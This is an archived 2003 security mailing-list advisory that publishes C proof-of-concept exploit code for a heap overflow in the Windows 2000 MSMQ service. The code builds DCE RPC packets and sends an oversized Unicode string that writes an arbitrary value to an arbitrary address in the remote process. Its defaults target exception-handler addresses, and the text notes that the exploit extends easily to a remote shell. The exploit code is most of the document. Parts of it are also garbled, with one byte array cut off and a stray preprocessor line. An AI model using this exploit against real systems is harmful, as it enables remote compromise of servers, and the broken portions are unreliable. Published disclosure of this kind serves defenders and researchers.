

# [EXPL] MSMQ Heap Overflow (Exploit)

**Source:** <http://www.derkeiler.com/Mailing-Lists/Securiteam/2003-10/0013.html>

---

**From:** SecuriTeam (*support\_at\_securiteam.com*)

**Date:** 10/07/03

To: list@securiteam.com

Date: 7 Oct 2003 16:03:57 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

-----

MSMQ Heap Overflow (Exploit)

---

## SUMMARY

Below is a proof of concept code for an MSMQ heap overflow vulnerability. It allows you to write a (fairly) arbitrary DWORD to a (fairly) arbitrary address in the memory space of mqsvc.exe on a remote Windows 2000 server.

It should be straightforward enough to turn that into any kind of remote shell exploit using the standard well known techniques (e.g. overwrite an exception handler).

Dave Korn reports that this vulnerability works under Service Pack 2 but not under Service Pack 4 (as it seems to be immune).

## DETAILS

Exploit:

/\*

A demonstration of the bug alluded to by Jim Allchin in his efforts to explain how appallingly badly coded some of the work on Micro\$oft's enterprise-critical technologies truly is. See

<http://www.eweek.com/article2/0,3959,5264,00.asp>

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

for details.

<quote>

"The fact that I even mentioned the Message Queuing thing bothers me," he said.

</quote>

Well, it shouldn't really. It only took half-an-hour's work to find this bug; multiply that by time wasted on perhaps experimenting with a dozen or so of the other M\$ apis and you'll see that even without the hint, it wouldn't have been hard to find; and of course, many of those other apis have their own problems. Not disclosing it would have prevented absolutely nothing; trying to send a long string to a search-by-name function is just so completely obvious that secrecy gets you nowhere. **YOU CAN'T HIDE ANYTHING FROM AN INQUIRING MIND WITH A PACKET SNIFFER.[\*]**

(K) All Rites Reversed – Anti-copyright DaveK Oct 2003  
Use as you will. Everything is possible and nothing is real.  
Please send improvements, bugfixes or ideas to  
blah spam davek AT hahaparse this  
nospambots redneck dot gacracker dot org you harvesters

[\*] – This offer void where prohibited by law, or strong crypto.

\*/

```
#include <Winsock2.h>
#include <stdio.h>
```

```
#pragma comment (lib, "ws2_32.lib")
```

```
// Standard typedefs and structs from the Open Group's
// "Technical Standard DCE 1.1: Remote Procedure Call",
// [Document Number C706]
```

```
typedef unsigned char uchar;
typedef UUID uuid_t;
typedef unsigned short p_context_id_t;
typedef struct {
    uuid_t if_uuid;
    unsigned long if_version;
} p_syntax_id_t;
```

```
typedef struct {
    p_context_id_t p_cont_id;
    unsigned char n_transfer_syn; /* number of items */
    unsigned char reserved; /* alignment pad, m.b.z. */
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
p_syntax_id_t abstract_syntax; /* transfer syntax list */
p_syntax_id_t transfer_syntaxes[1];
} p_cont_elem_t;

typedef struct {
    unsigned char n_context_elem; /* number of items */
    unsigned char reserved; /* alignment pad, m.b.z. */
    u_short reserved2; /* alignment pad, m.b.z. */
    p_cont_elem_t p_cont_elem[1];
} p_cont_list_t;

// Here's the connectionless rpc pdu header.
typedef struct {
    unsigned char rpc_vers; // = 4; /* RPC protocol major version (4 LSB
only)*/
    unsigned char ptype; /* Packet type (5 LSB only) */
    unsigned char flags1; /* Packet flags */
    unsigned char flags2; /* Packet flags */
    char drep[3]; /* Data representation format label */
    unsigned char serial_hi; /* High char of serial number */
    uuid_t object; /* Object identifier */
    uuid_t if_id; /* Interface identifier */
    uuid_t act_id; /* Activity identifier */
    unsigned long server_boot; /* Server boot time */
    unsigned long if_vers; /* Interface version */
    unsigned long seqnum; /* Sequence number */
    unsigned short opnum; /* Operation number */
    unsigned short ihint; /* Interface hint */
    unsigned short ahint; /* Activity hint */
    unsigned short len; /* Length of packet body */
    unsigned short fragnum; /* Fragment number */
    unsigned char auth_proto; /* Authentication protocol identifier*/
    unsigned char serial_lo; /* Low char of serial number */
} dc_rpc_cl_pkt_hdr_t;

/* common header for all connection-oriented pdus */
typedef struct {
    /* start 8-octet aligned */
    /* common fields */
    unsigned char rpc_vers; // = 5; /* 00:01 RPC version */
    unsigned char rpc_vers_minor; /* 01:01 minor version */
    unsigned char PTYPE; /* 02:01 PDU type */
    unsigned char pfc_flags; /* 03:01 flags */
    char packed_drep[4]; /* 04:04 NDR data rep format label*/
    unsigned short frag_length; /* 08:02 total length of fragment */
    unsigned short auth_length; /* 10:02 length of auth_value */
    unsigned long call_id; /* 12:04 call identifier */
    /* end common fields */
} rpcconn_common_hdr_t;
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
/* bind header (PTYPE = 11) */
typedef struct {
    /* start 8-octet aligned */
    /* common fields */
    rpcconn_common_hdr_t pdu_hdr;
    /* end common fields */
    unsigned short max_xmit_frag; /* 16:02 max transmit frag size, bytes */
    unsigned short max_recv_frag; /* 18:02 max receive frag size, bytes */
    unsigned long assoc_group_id; /* 20:04 incarnation of client-server *
assoc group */
    /* presentation context list */
    p_cont_list_t p_context_elem; /* 24:?? variable size */
    // We don't bother to capture auth info yet.
    /* optional authentication verifier */
    /* following fields present iff auth_length != 0 */
    /* auth_verifier_co_t auth_verifier; */
} rpcconn_bind_hdr_t;

/* request header (PTYPE = 0) */
typedef struct {
    /* start 8-octet aligned */
    /* common fields */
    rpcconn_common_hdr_t pdu_hdr;
    /* end common fields */
    /* needed on request, response, fault */
    unsigned long alloc_hint; /* 16:04 allocation hint */
    p_context_id_t p_cont_id; /* 20:02 pres context, i.e. data rep */
    unsigned short opnum; /* 22:02 operation #
* within the interface */
    /* optional field for request, only present if the PFC_OBJECT_UUID
* field is non-zero; specified in separate typedef below. */
    /* uuid_t object; */ /* 24:16 object UID */
    /* stub data, 8-octet aligned
.
.
.*/
    // We don't bother to capture auth info yet.
    /* optional authentication verifier */
    /* following fields present iff auth_length != 0 */
    /* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpcconn_request_hdr_t;

/* request header (PTYPE = 0) with object field */
typedef struct {
    /* start 8-octet aligned */
    /* common fields */
    rpcconn_request_hdr_t ob_req_hdr;
    /* optional field for request, assumes that PFC_OBJECT_UUID
* field is non-zero */
    uuid_t object; /* 24:16 object UID */
    /* stub data, 8-octet aligned
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
.
.
.*/
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpconn_object_request_hdr_t;

/* response header (PTYPE = 2) */
typedef struct {
/* start 8-octet aligned */
/* common fields */
rpconn_common_hdr_t pdu_hdr;
/* end common fields */
/* needed for request, response, fault */
unsigned long alloc_hint; /* 16:04 allocation hint */
p_context_id_t p_cont_id; /* 20:02 pres context, i.e.
* data rep */
/* needed for response or fault */
unsigned char cancel_count; /* 22:01 cancel count */
unsigned char reserved; /* 23:01 reserved, m.b.z. */
/* stub data here, 8-octet aligned
.
.
.*/
// We don't bother to capture auth info yet.
/* optional authentication verifier */
/* following fields present iff auth_length != 0 */
/* auth_verifier_co_t auth_verifier; */ /* xx:yy */
} rpconn_response_hdr_t;

// This is the bind request that we send to get the MSMQ rpc interface up.

/*

Frame Number: '41'
Header length: '20 bytes'
Protocol: 'TCP (0x06)'
Source: '(192.168.80.1)'
Destination: '(192.168.80.5)'
Source port: '(1356)'
Destination port: '(2101)'
Header length: '20 bytes'
Version: '5'
Version (minor): '0'
Packet type: '0b'
Packet Flags: '03'
Data Representation: '10000000'
Frag Length: '72'
Auth Length: '0'
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
Call ID: '1'  
Max Xmit Frag: '5840'  
Max Recv Frag: '5840'  
Assoc Group: '00000000 ; 0x000219bf'  
Num Ctx Items: '1'  
Context ID: '1'  
Num Trans Items: '1'  
Interface UUID: '77df7a80-f298-11d0-8358-00a024c480a8'  
Interface Ver: '1'  
Interface Ver Minor: '0'  
Transfer Syntax: '8a885d04-1ceb-11c9-9fe8-08002b104860'  
Syntax ver: '2'
```

```
*/
```

```
unsigned char
```

```
tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header[] =  
{  
  
0x05,0x00,0x0b,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x01,0x00,0x00,0x00,  
  
0xd0,0x16,0xd0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00,  
  
0x80,0x7a,0xdf,0x77,0x98,0xf2,0xd0,0x11,0x83,0x58,0x00,0xa0,0x24,0xc4,0x80,0xa8,  
  
0x01,0x00,0x00,0x00,0x04,0x5d,0x88,0x8a,0xeb,0x1c,0xc9,0x11,0x9f,0xe8,0x08,0x00,  
0x2b,0x10,0x48,0x60,0x02,0x00,0x00,0x00  
};
```

```
// This request must be the first sent once we have bound the interface.  
// There is no corresponding function in the MQ api in the SDK; but opnum  
22  
// returns a 16-byte handle/guid/similar that needs to be part of the  
actual  
// MQLocateBegin request that we synthesize later, so I'd call it  
something  
// like MQOpenMQISHandle. There's a corresponding close function, opnum  
23,  
// but we aren't going to bother with it.
```

```
/*
```

```
Frame Number: '47'  
Header length: '20 bytes'  
Protocol: 'TCP (0x06)'  
Source: '(192.168.80.1)'  
Destination: '(192.168.80.5)'  
Source port: '(1356)'  
Destination port: '(2101)'  
Header length: '20 bytes'  
Version: '5'
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
Version (minor): '0'  
Packet type: '00'  
Packet Flags: '03'  
Data Representation: '10000000'  
Frag Length: '68'  
Auth Length: '0'  
Call ID: '2'  
Alloc hint: '44'  
Context ID: '1'  
Opnum: '22'  
Stub data '44 bytes'  
[Inferred stub data offset $4e]
```

Appended 44 bytes of stub data from offset \$004e

\*/

```
unsigned char tcp_req_op_22_id_2_frame_47_header[] = {
```

```
0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x44,0x00,0x00,0x00,0x02,0x00,0x00,0x00,  
0x2c,0x00,0x00,0x00,0x01,0x00,0x16,0x00  
};
```

```
unsigned char tcp_req_op_22_id_2_frame_47_stubdata[] = {  
0x51,0xcc,0xdb,0x57,0x38,0x1f,0x45,0x42,
```

```
0xb4,0xfc,0xc1,0x14,0xb3,0x3e,0x01,0xf7,0x00,0x00,0x00,0x00,0x2c,0xfc,0x11,0x00,
```

```
0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00,  
0x00,0x00,0x00,0x00  
};
```

```
// And here we go. This is opnum 6, MQLocateBegin. The stubdata was  
derived  
// from sniffing the wire while doing a series of MQLocateBegin/End  
operations  
// with a string that got longer by one unicode 'A' each time. The string  
// length is checked locally by the MQLocateBegin function before sending,  
but  
// the mqsvc exe just assumes the data is valid because it assumes the  
packet  
// was checked by the remote end before sending. BIG mistake.....!
```

/\*

```
Frame Number: '49'  
Header length: '20 bytes'  
Protocol: 'TCP (0x06)'  
Source: '(192.168.80.1)'  
Destination: '(192.168.80.5)'  
Source port: '(1356)'
```



## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,0x41,0x00,
0x41,0x00,0x41,0x00,0x00,0x00,0x08,0x00,0x02,0x00,0x00,0x00,0xe0,0xfe,0x11,0x00,
0x02,0x00,0x00,0x00,0x65,0x00,0x00,0x00,0x6d,0x00,0x00,0x00,0x00,0x00,0x00,0x00,
0x00,0x00,0x00,0x00,0x00,0x6d,0xae,0x0c,0x34,0xe5,0xd7,0x11,0xa6,0xf4,0x00,0x50,
0x8b,0xfb,0x13,0x17
};
```

// Ok, here are three generic helper routines that I use in a lot of my code.

```
static inline const char * getfilenamepart (const char *ptr)
{
    const char * fn;

    fn = ptr;
    while (*ptr)
    {
        if ((*ptr == '\\') || (*ptr == '/'))
            fn = ptr + 1;
        ++ptr;
    }
    return fn;
}
```

```
static int parse_dotted_quad (const char *string, unsigned int *ipaddr,
unsigned short *port)
{
    unsigned int a, b, c, d, p;
    int n, len;
    unsigned int ad;
    unsigned short po;

    a = b = c = d = p = len = 0;
    // FIXME: should perhaps handle ip addresses with only 1, 2 or 3 numeric
    // parts as well, as per definition of inet_addr; alas that function is
    // no use here because it fails if there is a ":port" suffix.
    len = -1;
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
if (port)
    n = sscanf (string, "%i.%i.%i.%i:%i%n", &a, &b, &c, &d, &p, &len);
else
    n = 0;
// despite what it says in the SDK docs sscanf does not return the
// number of fields scanned – only the number of conversions: %n is
// a field scanned but not a conversion and doesn't get counted!
if (n != 5)
{
    n = sscanf (string, "%i.%i.%i.%i%n", &a, &b, &c, &d, &len);
    if (n != 4)
        return 0;
}
// ok it looks valid, but in order not to be fooled by names like
// 1.2.3.4.domain (isp host rDNS often looks like this) we must be
// sure that the string end here with whitespace or eol or NUL
if (!string[len] || isspace ((unsigned char)string[len])
    || (string[len] == '\r') || (string[len] == '\n'))
{
    // hoorah! return ipaddr and port! in host order!
    ad = (a << 24) | (b << 16) | (c << 8) | d;
    po = (unsigned short)(p & 0xffff);
    if (ipaddr)
        *ipaddr = ad;
    if (port && (n == 5))
        *port = po;
    return len;
}
// failed
return 0;
}
```

```
static int parse_hostnameport (const char *string, unsigned int *ipaddr,
unsigned short *port, int resolve, int verbose, const char *banner)
{
    int len;
    unsigned int ad;
    unsigned int po;
    struct hostent FAR * FAR myhost;
    char namepart[400];

    // skip wspc be nice
    while (isspace (*string))
        ++string;
    // we must see if there is a :port attached to the string end!
    len = 0;
    while ((string[len] != ':') && (string[len] && !isspace (string[len])))
    {
        namepart[len] = string[len];
        ++len;
    }
}
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
if (string[len] == ':')
{
    sscanf (&string[len+1], "%d", &po);
    *port = po;
}

if (!resolve)
return len;

namepart[len] = 0;
myhost = gethostbyname (namepart);
if ((verbose >= 2) || ((verbose == 1) && !myhost))
    fprintf (stderr, "%sget host ip for name %s %s", banner, namepart,
myhost ? "succeeds" : "fails\n");
if (!myhost)
    return 0;
// so we gotta return an ip address then!
memcpy (&ad, myhost->h_addr_list[0], sizeof (ad));
// but we are a parse routine so return in host order
ad = ntohl (ad);
*ipaddr = ad;
if (verbose >= 2)
    fprintf (stderr, " - %d.%d.%d.%d\n", ad >> 24, (ad >> 16) & 0xff, (ad >>
8) & 0xff, ad & 0xff);
return len;
}

// Reads a dce reply; either discards it if no rcvbuf is
// specified, or supplies the first min (rcvsz, frag_len) bytes
// in the buffer you pass in.
int read_dce_reply (SOCKET sock, char *rcvbuf, int rcvsz)
{
    char buffer[4096];
    int amount, this_time, actual, rv;
    rpcconn_common_hdr_t *hdr;

    // Read the fixed size header
    rv = recv (sock, buffer, sizeof *hdr, 0);
    if (rv != sizeof *hdr)
        return -1;
    hdr = (rpcconn_common_hdr_t *)buffer;
    amount = hdr->frag_length - sizeof *hdr;

    // copy as much hdr as wanted into rcvbuf
    if (rcvbuf && rcvsz)
    {
        this_time = (rcvsz >= sizeof *hdr) ? sizeof *hdr : rcvsz;
        memcpy (rcvbuf, buffer, this_time);
        rcvbuf += this_time;
        rcvsz -= this_time;
    }
}
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
while (amount)
{
    this_time = (amount >= 4096) ? 4096 : amount;
    actual = recv (sock, buffer, this_time, 0);
    if (actual <= 0)
        return -1;
    amount -= actual;
    // copy as much data as wanted into rcvbuf
    if (rcvbuf && rcvsz)
    {
        this_time = (rcvsz >= actual) ? actual : rcvsz;
        memcpy (rcvbuf, buffer, this_time);
        rcvbuf += this_time;
        rcvsz -= this_time;
    }
}
return 0;
}

// Assembles a DCE frag from a header and some stubdata, and
// sends it in one swell foop.
int send_dce_packet (const uchar *hdr, int hdrsz, const uchar *stubdat,
int
stubdatsz, SOCKET sock)
{
    static char *packetbuf = NULL;
    static int packetbufsz = 0;

    if (!hdr || !hdrsz)
        return -1;
    if (!stubdatsz || !stubdat)
        return send (sock, (const char *)hdr, hdrsz, 0) == hdrsz ? 0 :
WSAGetLastError ();
    // there are no stream markers in tcp so there is no strict need to send
as one
    // packet, but it will look better in a netsniffer display if we do.. so
we do.
    if (packetbufsz < (hdrsz + stubdatsz))
    {
        if (packetbuf)
            free (packetbuf);
        packetbuf = (char *) malloc (hdrsz + stubdatsz);
        packetbufsz = packetbuf ? (hdrsz + stubdatsz) : 0;
        if (!packetbuf)
            return -1;
    }
    // assemble packet in buff
    memcpy (packetbuf, hdr, hdrsz);
    memcpy (packetbuf + hdrsz, stubdat, stubdatsz);
    int rv = send (sock, packetbuf, hdrsz + stubdatsz, 0) == (hdrsz +
stubdatsz) ? 0 : WSAGetLastError ();
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
//free (packetbuf);
return rv;
}

// Binds the MSMQ interface, opens a handle to the MQIS, then builds a
packet
// that represents a MQLocateBegin operation, passing a single
MQRESTRICTION
// on the PROPID_Q_LABEL property that tests for PREQ against an
over-sized
// unicode string. The columnset data specifies we want the
PROPID_Q_INSTANCE
// and PROPID_Q_CREATE_TIME data returned, but mqsvc.exe won't get that
far.....
int test_overflow (int argc, const char **argv, int stringsize, DWORD
addr2write, DWORD val2write, SOCKET insocket)
{
const char *hostname = argv[1];
int rv, err;
unsigned int ipaddr;
unsigned short port;
SOCKET sendsock;
char replybuf[4096];

if (!hostname)
return -1;
err = 0;
port = 0;
// the parse functions return host byte order; we convert
// to network byte order for use in sockaddr structure
if (parse_dotted_quad (hostname, &ipaddr, &port))
{
ipaddr = htonl (ipaddr);
port = htons (port);
}
else if (parse_hostnameport (hostname, &ipaddr, &port, TRUE, 1, ""))
{
ipaddr = htonl (ipaddr);
port = htons (port);
}
else
{
fprintf (stderr, "Can't resolve host! %s - %d", hostname,
WSAGetLastError
());
return (-1);
}
if (insocket != INVALID_SOCKET)
sendsock = insocket;
else
sendsock = socket (AF_INET, SOCK_STREAM, IPPROTO_TCP);
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
if (sendsock == INVALID_SOCKET)
{
    fprintf (stderr, "Can't create socket! %s - %d", hostname,
WSAGetLastError
());
    return (-1);
}

// default port:
if (!port)
    port = htons (2101);

// and setup the dest addr structure...
struct sockaddr_in dest_addr;

dest_addr.sin_addr.S_un.S_addr = ipaddr;
dest_addr.sin_port = port;
dest_addr.sin_family = AF_INET;
memset (&dest_addr.sin_zero, 0, sizeof dest_addr.sin_zero);

// try the connect!
if (connect (sendsock, (sockaddr *)&dest_addr, sizeof dest_addr))
{
    rv = WSAGetLastError ();
    if (insocket != INVALID_SOCKET)
        closesocket (sendsock);
    return rv;
}

// and send the generated packets to the target
rv = send_dce_packet
(tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header,
sizeof
tcp_bind_77df7a80_f298_11d0_8358_00a024c480a8_v1_id_1_frame_41_header,
NULL, 0, sendsock);

if (!rv)
    rv = read_dce_reply (sendsock, NULL, 0);
if (!rv)
    rv = send_dce_packet (tcp_req_op_22_id_2_frame_47_header,
    sizeof tcp_req_op_22_id_2_frame_47_header,
tcp_req_op_22_id_2_frame_47_stubdata,
    sizeof tcp_req_op_22_id_2_frame_47_stubdata, sendsock);
// after the response pdu hdr comes 24 bytes reply stubdata:
// 1 dword 0 ?= reply status?, 16 bytes uuid/handle/suchlike, 1 DWORD 0
again.
if (!rv)
    rv = read_dce_reply (sendsock, replybuf, 64);
if (!rv)
{
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
// The real question is how do we modify the data to send a longer
// string of L'A' as the search path?
// well, the main differences seem to be:
// There are two DWORD 0x00000079 that need to be changed to the new
string len:
// they are at offsets 0x30 and 0x38 in the string. store the new # of
A's
// there. Then append the string.
// The string length includes the terminating zero. So in the above
case,
// we'd have 0x78 shorts of 0x0041 (unicode A) followed by a unicode 0
(nul-term).
// If the string len you chose was odd, add a short of padding as well
to
// align the result.
// Then append the next 0x1c bytes taken from offset 0x130 in the sample
packet
// finally append the 16 guid bytes you received earlier.
```

```
unsigned char *outbuf = NULL;
int stubsize = 0x3c + 2 * stringsize + (stringsize & 1 ? 2 : 0) + 0x2c;
outbuf = (unsigned char *) malloc (stubsize);
if (outbuf && !rv)
{
// Start assembling the stubdata for opnum 6.....
memcpy (outbuf, tcp_req_op_6_id_3_frame_49_stubdata, 0x30);
// write the string max count, offset and actual count, as per NDR for
a
// conformant varying array of unicode chrs.
*(DWORD *) (outbuf + 0x30) = stringsize;
*(DWORD *) (outbuf + 0x34) = 0;
*(DWORD *) (outbuf + 0x38) = stringsize;
// Now assemble the string
short * unichrptr = (short *) (outbuf + 0x3c);
int n = stringsize - 1;
#if 0
while (n--)
*unichrptr++ = L'A';
#else
short unichr = 0x4101;
// lop off last 4 chrs for addr and val to write...
n -= 4;
// build remainder of overflow string
while (n--)
*unichrptr++ = unichr++;
// now the values to write
*unichrptr++ = (short)(val2write & 0xffff);
*unichrptr++ = (short)(val2write >> 16) & 0xffff;
*unichrptr++ = (short)(addr2write & 0xffff);
*unichrptr++ = (short)(addr2write >> 16) & 0xffff;
#endif
#endif
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
*unichrptr++ = L'\0';
// array may need padding to get everything 4-aligned again.
if (stringsize & 1)
    *unichrptr++ = L'\0';
// Right. Append the remaining stub data from the opnum 6 call
unsigned char *chrptr = (unsigned char *)unichrptr;
memcpy (chrptr, tcp_req_op_6_id_3_frame_49_stubdata+0x130, 0x1c);
chrptr += 0x1c;
// and the mqis handle we received earlier
memcpy (chrptr, replybuf + sizeof rpcconn_response_hdr_t + 4, 16);
chrptr += 16;
// also we must set the frag length
rpcconn_request_hdr_t *hdr = (rpcconn_request_hdr_t
*)tcp_req_op_6_id_3_frame_49_header;
hdr->alloc_hint = stubsize;
hdr->pdu_hdr.frag_length = stubsize + sizeof *hdr;
// We are good to go!
rv = send_dce_packet (tcp_req_op_6_id_3_frame_49_header,
    sizeof tcp_req_op_6_id_3_frame_49_header, outbuf, chrptr - outbuf,
sendsock);
// This will fail if the overflow succeeded; if however the string
length we
// chose was too short, we'll get some kind of reply back and try again
with
// a longer string.
if (!rv)
    rv = read_dce_reply (sendsock, NULL, 0);
free (outbuf);
}
else if (outbuf)
    free (outbuf);
}
// all done with the socket now
if (insocket != INVALID_SOCKET)
    closesocket (sendsock);
return 0;
}

int usage (int argc, const char **argv)
{
    const char * fn = getfilenamepart (argv[0]);
    fprintf (stderr, "\nUsage:\n\n %s host[:port] addr2write val2write
[strmin [strmax]]\n", fn);
    fprintf (stderr, "\n");
    fprintf (stderr, "Function:\n\n Writes an arbitrary DWORD value to an
arbitrary location in the process\n");
    fprintf (stderr, "memory of the mqsvc.exe on the remote machine. Tested
on W2kASv/Sp2.\n");
    fprintf (stderr, "Default values of strmin and strmax are 915, which
works for me. Not all\n");
    fprintf (stderr, "values for addr2write/val2write seem to work, though;
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
there may be some\n");
fprintf(stderr, "filtering of the overflow string in some way.\n\n");
fprintf(stderr, " Note also that the default port used (2101) works
reliably for me, but as\n");
fprintf(stderr, "there is an internal MSMQ rpc api operation (opnum 27)
that returns this port\n");
fprintf(stderr, "number as a DWORD to the MQ client, it may be variable
on different systems.\n\n");
return -1;
}
```

```
int main (int argc, const char **argv)
{
WSADATA mywinsock;
int rv = 0;
```

```
WSAStartup (0xffff, &mywinsock);
if (argc >= 2)
{
int strsize, maxstr;
DWORD addr, val;
```

```
// hmm. as defaults, let's try and write an address of a jmp esi to an
exception handler
```

```
#define JMPESI0 0x780296bb
#define JMPESI1 0x7801ad1c
#define HANDLER1 0x024dffe0
#define HANDLER2 0x024df7f8
#define HANDLER3 0x024df018
// 0x024cffe0
#define DUMMY 0x66554433
```

```
// nefr. seems like it dont work with just any values.
// val is written first in string, addr second; seems not
// to be a good idea to have any 0x01/0x02 bytes. DUMMY
// passes fine as both addr and value.
//
// allchinbug testbed 0x77665544 0x8899aabb
//
```

```
if ((argc < 3) || (sscanf (argv[2], "%i", &addr) != 1))
addr = HANDLER1;
if ((argc < 4) || (sscanf (argv[3], "%i", &val) != 1))
val = DUMMY; // DUMMY; // JMPESI1;
if ((argc < 5) || (sscanf (argv[4], "%d", &strsize) != 1))
strsize = 915;
if ((argc < 6) || (sscanf (argv[5], "%d", &maxstr) != 1))
maxstr = 915;
```

```
while (!rv)
{
```

## Securiteam: [EXPL] MSMQ Heap Overflow (Exploit)

```
rv = test_overflow (argc, argv, strsize, addr, val, INVALID_SOCKET);
printf ("size %d ***rv %d***\n", strsize, rv);
strsize++;
if (strsize > maxstr)
    break;
}
}
else
{
    rv = usage (argc, argv);
}
// Exit gracefully.
WSACleanup ();
return rv;
}
```

### ADDITIONAL INFORMATION

The information has been provided by <[mailto:davek\\_throwaway@hotmail.com](mailto:davek_throwaway@hotmail.com)>  
Dave Korn

=====

This bulletin is sent to members of the SecuriTeam mailing list.  
To unsubscribe from the list, send mail with an empty subject line and body to:  
[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)  
In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.  
In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.